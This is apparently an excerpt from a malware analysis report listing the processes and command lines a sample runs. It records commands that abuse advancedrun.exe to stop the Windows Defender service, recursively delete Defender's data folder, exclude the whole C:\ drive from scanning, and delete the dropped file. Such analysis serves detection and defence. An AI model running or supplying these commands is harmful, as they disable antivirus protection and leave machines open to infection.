Technical Information
- %WINDIR%\explorer.exe
- iexplore.exe
- iexplore.exe process, wininet.dll module
- %TEMP%\advancedrun.exe
- %TEMP%\<File name>.exe
- %TEMP%\advancedrun.exe
- %TEMP%\<File name>.exe
- '%TEMP%\advancedrun.exe' /EXEFilename "<SYSTEM32>\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
- '%TEMP%\advancedrun.exe' /SpecialRun 4101d8 2428
- '%TEMP%\advancedrun.exe' /EXEFilename "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir '%ALLUSERSPROFILE%\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
- '%TEMP%\advancedrun.exe' /SpecialRun 4101d8 2892
- '%TEMP%\<File name>.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
- '%WINDIR%\syswow64\help.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%TEMP%\<File name>.exe"